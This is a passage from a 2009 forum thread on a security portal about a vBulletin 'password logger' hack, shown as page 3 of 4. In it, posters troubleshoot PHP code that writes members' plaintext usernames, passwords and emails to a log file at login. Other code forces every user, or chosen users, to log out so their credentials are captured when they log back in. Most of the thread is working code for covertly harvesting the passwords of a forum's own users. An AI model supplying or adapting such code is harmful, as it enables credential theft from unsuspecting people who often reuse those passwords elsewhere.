Waraxe IT Security Portal
Login or Register
November 6, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 55
Members: 0
Total: 55
Full disclosure
4 vulnerabilities in ibmsecurity
32 vulnerabilities in IBM Security Verify Access
xlibre Xnest security advisory & bugfix releases
APPLE-SA-10-29-2024-1 Safari 18.1
SEC Consult SA-20241030-0 :: Query Filter Injection in Ping Identity PingIDM (formerly known as ForgeRock Identity Management) (CVE-2024-23600)
SEC Consult SA-20241023-0 :: Authenticated Remote Code Execution in Multiple Xerox printers (CVE-2024-6333)
APPLE-SA-10-28-2024-8 visionOS 2.1
APPLE-SA-10-28-2024-7 tvOS 18.1
APPLE-SA-10-28-2024-6 watchOS 11.1
APPLE-SA-10-28-2024-5 macOS Ventura 13.7.1
APPLE-SA-10-28-2024-4 macOS Sonoma 14.7.1
APPLE-SA-10-28-2024-3 macOS Sequoia 15.1
APPLE-SA-10-28-2024-2 iOS 17.7.1 and iPadOS 17.7.1
APPLE-SA-10-28-2024-1 iOS 18.1 and iPadOS 18.1
Open Redirect / Reflected XSS - booked-schedulerv2.8.5
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> vBulletin Board -> [vBulletin] [Tutorial] Password logger Goto page Previous1, 2, 3, 4Next
Post new topicReply to topic View previous topic :: View next topic
PostPosted: Sun Jan 04, 2009 8:12 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
tr0nix wrote:
Sleeper wrote:
Dude this hack is sexy as xxxx! Tested and working PERFECT on vb 3.7.3 PL1. I been looking for a hack like this for a min now! Good work man Cool

PS: Is there a way to make it so that ALL USERS get logged out so that they all have to relogin at least ONCE so that they username and PW will show up in the log file? Maybe even executing an SQL query on the database or something?



Change the code to (not tested, should work!):

Code:

require_once(DIR . '/includes/functions_login.php');

setcookie("countLogout", 0,time()+604800); // save cookie for one week!
$countLogout = $_COOKIE["countLogout"];

if($countLogout == 0 && $vbulletin->userinfo['username'] != "")
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}


and it will logout all users, if the cookie is '0' (the cookie will save 1 week, then it begins again).


// Added in my starting post


Thanks for the reply. I tried the code and it's not exactly working. First off the code isn't having any affect in Internet Expolrer, it's not giving any errors either it just simply isn't working. Firefox on the other hand, everytime I refresh the page or browse to another thread it logs me out. I logout, log back in and then if I navigate away from the page that I'm on it does the same thing, logs me out and then I gotta log back in.

Is there not an SQL query that I can run on my database so that I can force all users to be logged out? Or perhaps change something somewhere so that if a user IS using the REMEMBER ME box then they are only allowed to stay logged in like that for X amount of days. That way at some point they would eventually have to log back in.

Kinda like eBay does it where you can only stay logged in for like 24 hours and then the system forces you to log back in etc.



No, there is no way to do it with SQL IMHO.

But the code couldn't work, cause the previous 'if()' loop will only set the 'countLogout' to '1', if the username is empty (and if the countLogout hasn't been set to '1'). Sorry, for that.
Just change the code to (and then it should hopefully work):

Code:

require_once(DIR . '/includes/functions_login.php');

setcookie("countLogout", 0,time()+604800); // save cookie for one week!
$countLogout = $_COOKIE["countLogout"];

if($countLogout == 0)
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}


"What does the code?"
The code looks if there is a cookie 'countLogout' on that user, which have the value of '1'.
If the value is '1', then the user can surf as normally, until the cookie expires (1 week in the above code).
But if the cookie is '0', then it forces to log the user out.
The user sees, that he got logged out. He log back in and everything works again. (till the cookie expires (1 week in the above code)).


If its not working -> make sure that you're accepting cookies.
View user's profile Send private message Send e-mail
PostPosted: Sun Jan 04, 2009 8:51 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




OK here's what's happening now. When I goto the forum index I get this message...



So then at this point I hit refresh and then it prompts me to login. So then I login and it takes me to the forum index again. At this point everything looks good. BUT now if I hit refresh OR if I navigate to another page and then return to the forum index I am then prompted with this message again.



This happens in FireFox AND IE

I also tried clearing my cookies in FF, then I went to the forum index and it prompted me to login. At that point I noted that my countLogout = 0 in my Cookies. So then I logged in and it took me to the forum index. I browsed a few threads and then clicked on the HOME button to take me back to the forum index. At this point I got no error message like before. BUT I checked my Cookies and I noted that my countLogout = 0 just like before.. So it's as if the hack is having no effect at this point.

Anymore ideas?

Here is a copy of my index.php file if you wanna take a look at it.

http://www.mediafire.com/file/445ndyb2e34/index.php


Last edited by Sleeper on Sun Jan 04, 2009 9:01 pm; edited 1 time in total
View user's profile Send private message
PostPosted: Sun Jan 04, 2009 9:01 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
OK here's what's happening now. When I goto the forum index I get this message...



So then at this point I hit refresh and then it prompts me to login. So then I login and it takes me to the forum index again. At this point everything looks good. BUT now if I hit refresh OR if I navigate to another page and then return to the forum index I am then prompted with this message again.



This happens in FireFox AND IE

Here is a copy of my index.php file if you wanna take a look at it.

http://www.mediafire.com/file/445ndyb2e34/index.php



Oh yeah... again, my fault...The script sets everytime the cookie to '0'.
So, we just need to remove the "setcookie("countLogout", 0,time()+604800); // save cookie for one week!".

Sorry, can't think correcly today. My grandma died.

Code:

require_once(DIR . '/includes/functions_login.php');

$countLogout = $_COOKIE["countLogout"];

if($countLogout == 0)
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}


If this is not working, then try:

Code:

if($countLogout == "")
View user's profile Send private message Send e-mail
PostPosted: Sun Jan 04, 2009 9:12 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




Oh damn I just got done editing my post and I seen you already posted back lol. No worries man I appreciate all the help you have provided regardless of the outcome Cool

In any case I have tried all the codes you have provided and nothing is working. I have tried clearing the cookies cache and everything and for some reason it's NOT forcing me to logout. Also I have noted that my countLogout is not changing from ANYTHING but 0. It just says
countLogout = 0
in my Show Cookies, in FF

I know there has to be a way because the script that you provided that you have to specify each user works PERFECT. If there could just only be a way to make it specify ALL USERS and not just certain ones.
View user's profile Send private message
PostPosted: Sun Jan 04, 2009 9:22 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
Oh damn I just got done editing my post and I seen you already posted back lol. No worries man I appreciate all the help you have provided regardless of the outcome Cool

In any case I have tried all the codes you have provided and nothing is working. I have tried clearing the cookies cache and everything and for some reason it's NOT forcing me to logout. Also I have noted that my countLogout is not changing from ANYTHING but 0. It just says
countLogout = 0
in my Show Cookies, in FF

I know there has to be a way because the script that you provided that you have to specify each user works PERFECT. If there could just only be a way to make it specify ALL USERS and not just certain ones.


Alright. I'm going to install vBulletin 3.7.4 (couldn't find the 3.7.3 PL1 version on the net) on my PC and try to code it.

I'll answer you as soon as possible.


Edit:

I've tried it with this code without problems

Code:

require_once(DIR . '/includes/functions_login.php');

$countLogout = $_COOKIE["countLogout"];

if($countLogout == 0)
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}



If you still have problems with that code, then write

Code:

$countLogout = $_COOKIE["countLogout"];
echo "Cookie's value: " . $countLogout;


If the value is '1', then write

Code:

setcookie("countLogout",0,time()+604800)


instead of

Code:

$countLogout = $_COOKIE["countLogout"];


refresh the page again, and change the code back to

Code:

require_once(DIR . '/includes/functions_login.php');

$countLogout = $_COOKIE["countLogout"];

if($countLogout == 0)
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
View user's profile Send private message Send e-mail
PostPosted: Sun Jan 04, 2009 10:59 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




Right on pimpin it's working good now. Lemme ask you this though, the whole

if($countLogout == 0)

part of the script is that necessary? Obviously normally there is no countLogout cookie without this hack so could that part of the script just be eliminated or is it there to serve another purpose that I'm not considering?

I guess what I am also wondering is if there is a way to incorporate BOTH parts of the hack being able to make it so that users have to log back in on a weekly basis but then what if there is a certain user that I want to FORCE To log out and log in would I be able to use BOTH parts of the hack that you have made or can I use only one?

I would think if I changed the setcookie("countLogout",1 to a different number then it would probably work? Then each user would have TWO cookies for the forum, ONE for the weekly logout, and a 2nd for the FORCING A CERTAIN USER to LOGOUT.
View user's profile Send private message
PostPosted: Mon Jan 05, 2009 12:36 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
Right on pimpin it's working good now. Lemme ask you this though, the whole

if($countLogout == 0)

part of the script is that necessary? Obviously normally there is no countLogout cookie without this hack so could that part of the script just be eliminated or is it there to serve another purpose that I'm not considering?

I guess what I am also wondering is if there is a way to incorporate BOTH parts of the hack being able to make it so that users have to log back in on a weekly basis but then what if there is a certain user that I want to FORCE To log out and log in would I be able to use BOTH parts of the hack that you have made or can I use only one?

I would think if I changed the setcookie("countLogout",1 to a different number then it would probably work? Then each user would have TWO cookies for the forum, ONE for the weekly logout, and a 2nd for the FORCING A CERTAIN USER to LOGOUT.


The cookie is to check, if the user got previously forced to log out.
If there wouldn't be the if loop, it would just force to log the user out all the time.

You can also use this:

Code:

<?php
require_once(DIR . '/includes/functions_login.php');

$countLogoutAll = $_COOKIE["countLogout_all"];
$countLogout = $_COOKIE["countLogout"];
$getouttahere = array("administrator", "anotheruser"); // username which checked the damn "remember me"-function :p


if($countLogoutAll == 0)
{
setcookie("countLogout_all",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
if(in_array(strtolower($vbulletin->userinfo['username']), $getouttahere, true))
{
setcookie("countLogout",1,time()+604800); // save cookie for one week!
$vbulletin->input->clean_gpc('r', 'logouthash', TYPE_STR);
process_logout();
}
?>
View user's profile Send private message Send e-mail
PostPosted: Mon Jan 05, 2009 5:36 am Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




haha you rock man!! Cool

BTW I had a buddy working on putting together some code for me to log users out before I made my post since I seen this was an old thread I wasn't sure if you would respond or not. In any case this is what he came up with... I tried it and it works the same as yours, I was just wondering what the pros and cons would be between your code and this one?

Code:
$logout_time = $vbulletin->input->clean_gpc('c', COOKIE_PREFIX . 'nextlogout', TYPE_UINT);

if (TIMENOW > $logout_time)
{
// clear authentication cookies
vbsetcookie('sessionhash', '');
vbsetcookie('userid', '');
vbsetcookie('password', '');

// set next clear time
vbsetcookie('nextlogout', TIMENOW + 604800);
}
View user's profile Send private message
PostPosted: Fri Jan 09, 2009 7:45 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




I have also come across another issue, I have been getting duplicates in my log file recently. I can't quite pinpoint HOW it's happening since I know your script is designed to check for duplicates.

Any ideas?
View user's profile Send private message
PostPosted: Sat Jan 10, 2009 1:35 pm Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
I have also come across another issue, I have been getting duplicates in my log file recently. I can't quite pinpoint HOW it's happening since I know your script is designed to check for duplicates.

Any ideas?


If your PHP version >= 4, then everything should work correctly.
Otherwise add a strtolower(); in the fwrite. Maybe this will help.

Code:

@fwrite($fp1, strtolower($lg_username) . ' : ' . $lg_password." (" . $row["email"] . ")\n");
View user's profile Send private message Send e-mail
PostPosted: Tue Jan 13, 2009 4:03 am Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




I'm using PHP 5.2.6 and MySQL 5.0.51b

I tried that other piece of code you posted and that didn't help either. I swear when I first started using the hack it wasn't doing this, now that a week or so has gone by it seems to be doing it now. Anymore ideas?

I also noticed that it seems like the script is writing the file twice, once with fwrite and then again with fputs... Could this be the issue?
View user's profile Send private message
PostPosted: Tue Jan 13, 2009 8:36 am Reply with quote
tr0nix
Active user
Active user
Joined: Mar 06, 2008
Posts: 48




Sleeper wrote:
I'm using PHP 5.2.6 and MySQL 5.0.51b

I tried that other piece of code you posted and that didn't help either. I swear when I first started using the hack it wasn't doing this, now that a week or so has gone by it seems to be doing it now. Anymore ideas?

I also noticed that it seems like the script is writing the file twice, once with fwrite and then again with fputs... Could this be the issue?


The fwrite process writes into the log file, then the script reads the whole file in an array and filters it with array_unique and writes the logfile with the unique data.

I don't know why it isn't working, but I'll post if I've an idea.
View user's profile Send private message Send e-mail
PostPosted: Tue Jan 13, 2009 9:45 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




tr0nix wrote:
Sleeper wrote:
I'm using PHP 5.2.6 and MySQL 5.0.51b

I tried that other piece of code you posted and that didn't help either. I swear when I first started using the hack it wasn't doing this, now that a week or so has gone by it seems to be doing it now. Anymore ideas?

I also noticed that it seems like the script is writing the file twice, once with fwrite and then again with fputs... Could this be the issue?


The fwrite process writes into the log file, then the script reads the whole file in an array and filters it with array_unique and writes the logfile with the unique data.

I don't know why it isn't working, but I'll post if I've an idea.


Alright cool I will keep researching for a fix also. It's weird cause I remember testing it out when I first installed the script and it wasn't creating duplicate entries. But now they seem to come in all the time.. I'm gonna try flushing the log file and see if that helps
View user's profile Send private message
PostPosted: Mon Jan 19, 2009 10:02 pm Reply with quote
Sleeper
Regular user
Regular user
Joined: Jan 04, 2009
Posts: 12
Location: Earth




Just wanted to update on this issue, turns out that everything was fine after all. Problem was that I tried editing the log file in wordpad when I should have used notepad instead because there is a weird character that shows up in notepad that doesn't show up in wordpad that needs to be put in-between each entry.

All is good now Thanks again for all your help man! Cool
View user's profile Send private message
PostPosted: Fri Feb 06, 2009 7:12 pm Reply with quote
kimmymusic
Regular user
Regular user
Joined: Feb 06, 2009
Posts: 10




Just out of curiosity, before I do this...this won't cause anyone's current passwords to fail or anything right?

I guess what I'm asking is: From the end user side, they won't get any kind of error message or have to reset their password or anything? Business as usual?

I only ask because I had a similar thing with another board and it created a temporary uproar.


Also, your instructions say to find the line: "process_new_login"

The line that I have is: process_new_login($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

Do I paste it under that whole line or do I replace the part after "process_new_login" with that code?
View user's profile Send private message
[vBulletin] [Tutorial] Password logger
www.waraxe.us Forum Index -> vBulletin Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 3 of 4
Goto page Previous1, 2, 3, 4Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.037 Seconds